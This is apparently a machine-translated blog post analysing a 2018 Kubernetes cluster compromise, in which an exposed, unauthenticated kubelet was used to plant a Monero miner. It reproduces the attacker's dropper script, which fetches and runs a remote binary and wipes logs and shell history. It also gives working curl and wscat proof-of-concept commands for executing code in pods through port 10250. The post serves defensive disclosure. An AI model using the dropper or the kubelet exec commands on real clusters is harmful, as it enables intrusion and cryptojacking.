Kubernetes hack analysis - backdoor via kubelet

In order not to know anything about Kubernetes, one had to live in a cave for the last three years. In Handy, the development infrastructure, CI / CD and production is based on the Kubernetes multi-cluster ecosystem. We can say that we are handy Kubernetes fans, which is why we were so surprised when our colleague's Kubernetes personal cluster was hacked last weekend.

They were surprised - and were delighted, as they found one little-known glitch in Kubernetes. In this article, we will look at how a cluster of a colleague was hacked and how we confirmed our findings by recreating this attack in our own cluster. The attack was tested in Kubernetes 1.9, but it can work on older clusters.

DISCLAIMER : This article is about the personal server of our colleague. Infrastructure Handy Technologies has not been modestly.

Hack

The defective cluster was the only Kubernetes deployment node running on top of Alpine Linux. The first indicator of a hack was a suspicious process, operating as a child of the docker daemon process:

/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B

The end point curling returns the following text:

Mining Proxy Online

It seems that someone has found a way to put crypto-mining software into a working container and start the process.

When searching for a file udevs in docker overlay directory container (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) was discovered dropper script with the name «kube.lock» , which is loaded with software mayningovoe transfer.sh and ran it.

#!/bin/bash
yum install wget -y
apt-get install wget -y
PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
rm -rf /tmp/udevs*
wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs
fiif [[ $? -ne 0 && $PS2 -eq 0 ]];
then
curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs
fi
chmod +x /tmp/udevs
chmod 777 /tmp/udevs
if [ $PS2 -eq 0 ];
then
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
fiif [[ $? -ne 0 && $PS2 -eq 0 ]];
thenecho $?
wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld  --safe -B && echo"" > /var/log/wtmp && echo"" > /var/log/secure && history -c
fi

In addition, the MD5 signature (a4404be67a41f144ea86a7838f357c26) for the / tmp / udevs program on VirusTotal is defined as a probable Monero Miner:

So, we know that the hacker somehow put the kube.lock script into the container and launched it. But how?

Public access to the api-server kubernetes was open, but protected by certificate authentication. First of all, we assumed an attack on the supply chain of one of the images working in the cluster. However, after examining the kubelet logs, we noticed something:

/var/log/kubernetes/kubelet.log:E0311 12:38:30.4002892991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock'from runtime service failed: rpc error: code = Internaldesc = transport is closing
/var/log/kubernetes/kubelet.log:E0311 12:38:30.4009742991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock'from runtime service failed: rpc error: code = Internaldesc = transport is closing

It seems that the hacker somehow executed exec commands in the kubelet. A Google request for “Kubelet authentication” issued the text from the Kubernetes documentation:

By default, requests for the kubelet HTTPS endpoint that are not denied by other configured authentication methods are treated as anonymous requests with the user name system: anonymous and the system: unauthenticated group .

Kubelet authentication / authorization

If no flags are specified in Kubelet, then the default mode is to accept API requests that are not authenticated. Keep in mind that in order for the master -> node connection to work, the Kubernetes API server must exchange information with the kubelet on the nodes.

As it turned out, the server of our colleague also publicly exposed kubelet ports (tcp 10250, tcp 10255). Although the error is obvious, it would be nice to check how your own Kubernetes is deployed.

If users have access to the nodes, then the kubelet API is a full-featured backdoor to the cluster that has not passed the authentication API.

Therefore, if you have problems activating authentication and authorization (webhook, RBAC, etc.), make sure that kubelet is protected.

There are serious questions to the security of Kubelet communications , and this problem deserves more attention.

Proof of concept

To send commands directly to the kubelet, you must use the API, as described here:

Kubelet listens on two ports: 10255 and 10250. The first is an HTTP port for reading only, and the second is an HTTPS port, which can do anything.

Select any node in the cluster and try listing the scrolls:

curl --insecure  https://kube-node-here:10250/pods | jq

The exec route , which is not documented on the kubelet page, is similar to the API server route, but requires two requests: an initial POST and a subsequent GET with a client that supports SPDY (or a websocket client, which is also supported).

Run the command in a running container via kubelet.

Find under, working on the node for which you want to set up a target through the previous request. Run the following query with curl:

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"

This should return a response with code 302, which redirects to the stream:

< HTTP/2302
< location: /cri/exec/PfWkLulG
< content-type: text/plain; charset=utf-8
< content-length: 0
< date: Tue, 13 Mar 201819:21:00 GMT

Use wscat to start the stream:

wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check                                                                                                                    
connected (press CTRL+C to quit)
<
<
disconnected

Since we just executed the command touch hello_world, it creates the file and shuts down. If you wanted to execute a command with output, you will see the result after executing the above command.

Conclusion

Although this behavior is consistent with the documentation, many do not know that without the right settings, there is a breach in the security of the Kubernetes multi-user environment.

We covered one of the security issues at Kubernetes. Comment!

Update March 14, 2018

After in-depth study, it seems that even with Kubelet authentication enabled, it refers only to the HTTPS port (10250). This means that the read-only HTTP port (10255) still remains open with no means of protection other than network ACLs.

A read port can list /podsroute specifications for route, which means access to sensitive data, such as environment variables.

Just 28 days ago, the code was changed so that the unsafe port was disabled by default.

Original: Analysis of a Kubernetes hack - Backdooring through kubelet